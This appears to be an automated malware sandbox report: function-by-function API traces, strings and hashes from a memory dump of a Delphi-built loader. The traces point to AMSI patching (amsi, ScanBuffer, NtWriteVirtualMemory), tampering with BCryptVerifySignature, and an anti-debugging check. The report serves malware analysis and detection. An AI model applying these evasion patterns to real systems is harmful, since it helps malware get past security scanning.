Instruction ID: a900727662a8f8fdddd1e80277177d63714fef98cdad5af3c002e48c306762cb
Opcode Fuzzy Hash: 0b653f732f2a7654bbad9c16bb3a5da014e32f49afd5debfd5ad4bec20c14e13
Instruction Fuzzy Hash: 2DB1457A600B50AFC725EF6DE884365FBE0EB8A352F19C2BED4198B389C7709441C790

Function 031B894C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,?), ref: 031B8960
GetProcAddress.KERNEL32(03227394,BCryptVerifySignature), ref: 031B897A
FreeLibrary.KERNEL32(03227394,03227394,BCryptVerifySignature,bcrypt,?,032273D4,00000000,032273A8,031BA587,ScanString,032273A8,031BA93C,ScanBuffer,032273A8,031BA93C,Initialize), ref: 031B89B6

Part of subcall function 031B7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031B7DEC

Strings

bcrypt, xrefs: 031B895F
BCryptVerifySignature, xrefs: 031B8973

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 97c5b1513f4323c685f0dd5dbb158ec89855aed9199f460e5edcb2e4945c1015
Instruction ID: 88cdc3519d029fa3ec24f9d8d61988db2c7fa09c6f1be368fdd340c0252a3137
Opcode Fuzzy Hash: 97c5b1513f4323c685f0dd5dbb158ec89855aed9199f460e5edcb2e4945c1015
Instruction Fuzzy Hash: 28F08C71609354FFE730FA6CBC8DF9677AC97A8A21F085129AD088A186C77018808750

Function 031B88B8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 031B88C1

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

Part of subcall function 031B7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031B7DEC

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 031B8920

Strings

W, xrefs: 031B88CD
amsi, xrefs: 031B88BC
DllGetClassObject, xrefs: 031B88E6

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressLibraryProc$FreeLoadMemoryVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 2980007069-2671292670
Opcode ID: fbbb97e11304113df3e7035999d04f9dcbe778440396e5bef9254dc137eb37cb
Instruction ID: f04a340fb6a461c047079bb7019bad0cccf6b7640e725ba41c93666e874dde4a
Opcode Fuzzy Hash: fbbb97e11304113df3e7035999d04f9dcbe778440396e5bef9254dc137eb37cb
Instruction Fuzzy Hash: 44F0879454C781BBC601E678CC45F8FBADC4BAA564F048A58F1E8AE2D2D77AD10483A7

Function 031BF744 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 031BF754
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 031BF766
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 031BF77D

Strings

KernelBase, xrefs: 031BF74F
CheckRemoteDebuggerPresent, xrefs: 031BF760

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 8cff3ba7880fa5bf20dc5e3b6f071af4b7409acb740b2325bc2ca1f3e5e30db4
Instruction ID: 6afbb7447d63ac36538746888fdf2a179c44baa55de7c84b28b55d261f7f7c72
Opcode Fuzzy Hash: 8cff3ba7880fa5bf20dc5e3b6f071af4b7409acb740b2325bc2ca1f3e5e30db4
Instruction Fuzzy Hash: 10F0A075904248BFDB10EAF98C887DCFBB89B0D226F2843D0E434A21D2E7710685C691

Function 031A1A8F Relevance: 7.7, APIs: 6, Instructions: 173
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 031A1B17
Sleep.KERNEL32(0000000A,00000000), ref: 031A1B31

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 3c3027a1fe770c552e5e042d572b46038b4a786e6f4d6aa34d99576ef22bf97a
Instruction ID: e8758a365e7218650fbb20e89ca4aa5185d2713ce8dcd1e6300cf26db6d5652e
Opcode Fuzzy Hash: 3c3027a1fe770c552e5e042d572b46038b4a786e6f4d6aa34d99576ef22bf97a
Instruction Fuzzy Hash: CE51F379600B40AFD725DF6CD984766BBE4AF4E312F1881BED848CB296E7B0C445C791

Function 031BE4B6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 031BE5F6

Strings

ScanBuffer, xrefs: 031BE53F
Initialize, xrefs: 031BE4E6
OpenSession, xrefs: 031BE598

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 86f4675884911a6df7512431eec5d7227268b15a94e32a2aa81812ddd9439287
Instruction ID: 51ebb6483d23eb9fbb482b36b0ddbdb1479209c7167c296e3905acf7328bed42
Opcode Fuzzy Hash: 86f4675884911a6df7512431eec5d7227268b15a94e32a2aa81812ddd9439287
Instruction Fuzzy Hash: 0941EE3DB1464C9FDB10EBA9E881ADEB3B9EF8C601F604425E050AB350DFB4AD158B65

Function 031BE4B8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 031BE5F6

Strings

ScanBuffer, xrefs: 031BE53F
Initialize, xrefs: 031BE4E6
OpenSession, xrefs: 031BE598

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 52cd248eaa31f3eea405475792f22924ec6c71a4bce8fe76a0611a8cc1b638df
Instruction ID: 0fc9591a10497e8df536f2588aaccb07e97c882509b0d9404bfd8e87706e932e
Opcode Fuzzy Hash: 52cd248eaa31f3eea405475792f22924ec6c71a4bce8fe76a0611a8cc1b638df
Instruction Fuzzy Hash: 8241FF3DA1464C9FDB10EBA9E881ADEB3B9EF8C601F604425E050AB350DFB4AD158B65

Function 031B8788 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031B8814

Strings

Kernel32, xrefs: 031B87D3
CreateProcessAsUserW, xrefs: 031B87A1

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$CreateHandleModuleProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 952078031-2353454454
Opcode ID: b1978c2b0be9e1aeee43ebd8d4df1038a2ab4303ac0ace2e04214b946da5e108
Instruction ID: 48b3503bd3a17c879d479350e6e01312f1a2da7293e541ea07486ed520caca87
Opcode Fuzzy Hash: b1978c2b0be9e1aeee43ebd8d4df1038a2ab4303ac0ace2e04214b946da5e108
Instruction Fuzzy Hash: 481192BA604648BFDB50EEADEC91FDA77ECEB4CA00F514060FA08D7641C774E9108B65

Function 031B70DC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 031B73DA

Strings

H, xrefs: 031B7191

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 8cdcbd462c58b22f2933a1327d5e38640eb1394ddcdc02f6fed5893d88f8cdcf
Instruction ID: b2cfaa4b15615b3e55dc60239fb5940140ae47acb7d84d484b3eb9077d75bc69
Opcode Fuzzy Hash: 8cdcbd462c58b22f2933a1327d5e38640eb1394ddcdc02f6fed5893d88f8cdcf
Instruction Fuzzy Hash: 24B1C278A016089FDB15CF99D880ADDBBF6FF8D310F2585A9E845AB360D730A845CF60

Function 031A4198 Relevance: 3.1, APIs: 2, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a24f48e88f2bf155e618fd0f2a2f6023c8b0533f914f5c7d5c7c8f150af463b
Instruction ID: 26b6a6584141fde19948508bf3385951f464bba92ace0af2002434d415bd4c1b
Opcode Fuzzy Hash: 6a24f48e88f2bf155e618fd0f2a2f6023c8b0533f914f5c7d5c7c8f150af463b
Instruction Fuzzy Hash: 51419E7D900A14EFDB28EF6EF8483557BE4EB1D312F599469D8048B348CBB09885CB55

Function 031AE364 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 031AE373

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 7dbf56415bc9d362e0aec6b856fd48822fd7d52ad02a0fbcb92b377d478bdc96
Instruction ID: c6a368786ad219546db0107cbae7fc879da54c7573622a2fa515620ee8258a4f
Opcode Fuzzy Hash: 7dbf56415bc9d362e0aec6b856fd48822fd7d52ad02a0fbcb92b377d478bdc96
Instruction Fuzzy Hash: ACF0AF6C708A10C7EB24FB3E8DC456D27989F4C343B143876E4069F205CB658C8983B2

Function 031AE3FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 031AE43C

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 093da035ec35ebbb9968446ed9ae6352b0e4155b1a36b680de0b061d7f3e69b5
Instruction ID: 144b62c9e11a3e91850bd6a75139fdd424a3bb49ed5d9cb80653204b0298bf8c
Opcode Fuzzy Hash: 093da035ec35ebbb9968446ed9ae6352b0e4155b1a36b680de0b061d7f3e69b5
Instruction Fuzzy Hash: 49317179604A08AFDB14DFACD8889AEBBFCEB0C212F584565F904D7240D334DA90CBB1

Function 031B89D0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 031B81CC: GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

Part of subcall function 031B7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031B7DEC

Part of subcall function 031B8338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031B83C2), ref: 031B83A4

FreeLibrary.KERNEL32(03227388,00000000,00000000,00000000,00000000,0322738C,Function_0000562C,00000004,0322739C,0322738C,05F5E103,00000040,032273A0,03227388,00000000,00000000), ref: 031B8AAA

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$CacheFlushFreeHandleInstructionLibraryMemoryModuleVirtualWrite
String ID:
API String ID: 1648090374-0
Opcode ID: 3992cf2d292fdd343620fa7ef38b878a326c8f0f1e85e4b117bc2c8adeaf14c5
Instruction ID: 413ee0fb2e372b3de6c06d345822de7c3fc9411e3285857fc337108e84f356d9
Opcode Fuzzy Hash: 3992cf2d292fdd343620fa7ef38b878a326c8f0f1e85e4b117bc2c8adeaf14c5
Instruction Fuzzy Hash: F121817C758744BFDB50FBBDDC02F9D7AA89B4CA01F501460F514EF682CBB4A9408618

Function 031AE760 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 031AE781

Part of subcall function 031AE364: VariantClear.OLEAUT32(?), ref: 031AE373

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 2f7bc6703029b537cc3c0958fa9f72b3d5fce08f432651dac9d9f0416ab38ddb
Instruction ID: ed7bd3f16088e58454184136246fbd8b4bb2ad7ee0582e47df3682fd21eaf1ca
Opcode Fuzzy Hash: 2f7bc6703029b537cc3c0958fa9f72b3d5fce08f432651dac9d9f0416ab38ddb
Instruction Fuzzy Hash: E8117C2C700B1087D735EB6DC9C49667BE9AF8D663B058476E44A8F219DB30CC85D6F2

Function 031BE624 Relevance: 1.5, APIs: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

Part of subcall function 031B89D0: FreeLibrary.KERNEL32(03227388,00000000,00000000,00000000,00000000,0322738C,Function_0000562C,00000004,0322739C,0322738C,05F5E103,00000040,032273A0,03227388,00000000,00000000), ref: 031B8AAA

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 031BE5F6

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: CheckConnectionFreeInternetLibrary
String ID:
API String ID: 2507004976-0
Opcode ID: 104a434822977e04e7b08ddd7564887a95338df1bb8492c57f98fef11d24af25
Instruction ID: d0be18192739c63018ae811550e320a690a12b6643380dd0f941a7d632d314d9
Opcode Fuzzy Hash: 104a434822977e04e7b08ddd7564887a95338df1bb8492c57f98fef11d24af25
Instruction Fuzzy Hash: 21F0F93DA187489FDB10EBB9E880ADD73B4AF8C711F608436E045EA240DFA5A8058725

Function 031B6D6C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.COMBASE ref: 031B6D9E

Part of subcall function 031A4C60: SysFreeString.OLEAUT32 ref: 031A4C6E

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 6e16a2d5b53366f81455c5909c703f8f932d392ccdda43820a1aeb33030ec0f6
Instruction ID: 9d02d6454c0630bbc31e658f0f78a82f756dd3d5335de4a83778a8d862e1dc1b
Opcode Fuzzy Hash: 6e16a2d5b53366f81455c5909c703f8f932d392ccdda43820a1aeb33030ec0f6
Instruction Fuzzy Hash: CAE0ED3D204B08BFD311EB6ADC42D9EB6ECDB8E640B9204B0E900E7600DBB1AE0080A0

Function 031A5868 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(20FB1B20,?,00000105), ref: 031A5886

Part of subcall function 031A5ACC: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 031A5AE8
Part of subcall function 031A5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031A5B06
Part of subcall function 031A5ACC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031A5B24
Part of subcall function 031A5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 031A5B42
Part of subcall function 031A5ACC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,031A5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 031A5B8B
Part of subcall function 031A5ACC: RegQueryValueExA.ADVAPI32(?,031A5D38,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,031A5BD1,?,80000001), ref: 031A5BA9
Part of subcall function 031A5ACC: RegCloseKey.ADVAPI32(?,031A5BD8,00000000,00000000,00000005,00000000,031A5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031A5BCB

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b9746befce64e71ff07d12d308fb9915a3fb36454f89001aea748d68f1661a61
Instruction ID: 2714ce670d9a36361ff894420f57f3916a11885aa4c4e42c99b7aa1532cb7fbd
Opcode Fuzzy Hash: b9746befce64e71ff07d12d308fb9915a3fb36454f89001aea748d68f1661a61
Instruction Fuzzy Hash: C6E09279A047149FCB10DEACD8C0A5633D8AF0D751F0809A1ED94CF346D7B0D91087D0

Function 031A7E80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,031C356F,ScanString,03223160,031CB7B8,OpenSession,03223160,031CB7B8,ScanBuffer,03223160,031CB7B8,OpenSession,03223160,031CB7B8,Initialize), ref: 031A7E8B

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3467ccafc9b080e3920a03b803a7582c061543677b4cd7e3fb3217d71785ba3f
Instruction ID: 1420b44c594ba29a2d6c4a41eb02d3d653e333367ba096040f9572dfb63c21d9
Opcode Fuzzy Hash: 3467ccafc9b080e3920a03b803a7582c061543677b4cd7e3fb3217d71785ba3f
Instruction Fuzzy Hash: 13C08CFE215B000F5E60E9FC1CC81198288098C033B681E61E438CA3C2D71698332020

Function 031A4C78 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 031A4C8B

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
Instruction ID: c340adfc147778991e2f2e80d2cefda0b7ae1791c978a129f73b39be9e840048
Opcode Fuzzy Hash: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
Instruction Fuzzy Hash: B6C012AE600A3067EB61D69EACC075262CCDB0D296F1804A19408DB355E7A0D8004290

Function 031A4D50 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 031A4C6E
SysFreeString.OLEAUT32 ref: 031A4D6D

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: d54247db1b258156244adbb806ac4dd0cd010764ffdd17f74803e917e64435c1
Instruction ID: d6a4fd4dc15c480c5348ccd84f4cea85b339974e0d9d284a1cc53a1c1be76d7b
Opcode Fuzzy Hash: d54247db1b258156244adbb806ac4dd0cd010764ffdd17f74803e917e64435c1
Instruction Fuzzy Hash: 31C0127C105B057FAB08AB3A5E4057A92189D8D24375444A59911CC114EB68D4415524

Function 031CC35C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM ref: 031CC36C

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 2022fd3735866528ccb1e540448191d7ad5afe6b570bb6c4e837c8f667982d46
Instruction ID: 248f693e043ba0ee0d571a8f19dd3c9d83027e6358007c543fb6a4cd214ef966
Opcode Fuzzy Hash: 2022fd3735866528ccb1e540448191d7ad5afe6b570bb6c4e837c8f667982d46
Instruction Fuzzy Hash: F3C048B53A07802BFA10A6A96CC2F225A9C9359B12F101015B609EE2C1D7E658018AA4

Function 031A15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004), ref: 031A15E2

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e6301ea9cf52f523278b67c146afea63858b223f51adbe9e03a8188e8da96b10
Instruction ID: fd0e4d27573ff659c1bcf7fc8944bf57e8fcc58cb7cd80b759baea7e70c6813d
Opcode Fuzzy Hash: e6301ea9cf52f523278b67c146afea63858b223f51adbe9e03a8188e8da96b10
Instruction Fuzzy Hash: 0CF049F4711B006FDB19EFBAAD443017AD2E78E245F24D139D609DB39CE7B194018B00

Function 031A1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 031A16A4

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 01eea270bc588144efd72f11827681b51a8c3823e56c01357418ff9d3676e340
Instruction ID: e195c64c9652385b45d03662b13c4e37a0cca0a334ad15251da62531d09d4b57
Opcode Fuzzy Hash: 01eea270bc588144efd72f11827681b51a8c3823e56c01357418ff9d3676e340
Instruction Fuzzy Hash: 44F09AB6A00F957BD720EE5EAC84B82BB94FB18321F154139EA089B344D7B1AC008794

Function 031A16E6 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 031A1704

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3ed22fb411af90ac9cca8df743a390b388d21760d1f2fe02f1c16e68c7044243
Instruction ID: 845a432a4ae1017cfb6ca84c9a68cbe033e896c34f9d44086d227bc4f96e68af
Opcode Fuzzy Hash: 3ed22fb411af90ac9cca8df743a390b388d21760d1f2fe02f1c16e68c7044243
Instruction Fuzzy Hash: F9E0267D300B007FE7209A7D5D40B12BBC9EB4C272F245575F201CB2D1C3A0D8008360

Non-executed Functions

Function 031A5BD7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 99stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 031A5BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105), ref: 031A5BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105), ref: 031A5BFB
lstrlen.KERNEL32(00000000), ref: 031A5C26
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 031A5C6D
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 031A5C7D
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 031A5CA5
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 031A5CB5
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 031A5CDB
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 031A5CEB

Strings

., xrefs: 031A5C38

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: .
API String ID: 1599918012-248832578
Opcode ID: e1d207cfd59d9a3355d61464253f03734f19f47a71b5373a3b145886073fdf91
Instruction ID: 469de7025c163abee040b1d9fed955959f0a269cc12e1dd07ed4937a7cc7bf12
Opcode Fuzzy Hash: e1d207cfd59d9a3355d61464253f03734f19f47a71b5373a3b145886073fdf91
Instruction Fuzzy Hash: D431947DE4476C3BEB25D6BC8C45BDEB6AD9B0D381F0401F2A644E6089E774DE888B50

Function 031BAB1C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,031BADA3,?,?,031BAE35,00000000,031BAF11), ref: 031BAB30
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 031BAB48
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 031BAB5A
